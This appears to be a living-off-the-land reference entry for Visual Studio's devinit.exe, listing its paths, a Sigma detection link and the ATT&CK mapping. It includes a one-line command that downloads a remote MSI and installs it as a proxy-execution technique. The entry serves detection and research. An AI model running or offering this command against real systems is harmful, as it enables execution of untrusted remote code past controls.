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Visual Studio 2019 tool

Paths:

C:\Program Files\Microsoft Visual Studio\*\Community\Common7\Tools\devinit\devinit.exe
C:\Program Files (x86)\Microsoft Visual Studio\*\Community\Common7\Tools\devinit\devinit.exe

Resources:

https://twitter.com/mrd0x/status/1460815932402679809

Acknowledgements:

mr.d0x (@mrd0x)

Detection:

Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml

Execute

Downloads an MSI file to C:\Windows\Installer and then installs it.
```
devinit.exe run -t msi-install -i https://example.com/out.msi
```
Use case
Executes code from a (remote) MSI file.

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Operating systems
Windows 10, Windows 11

ATT&CK® technique
T1218.007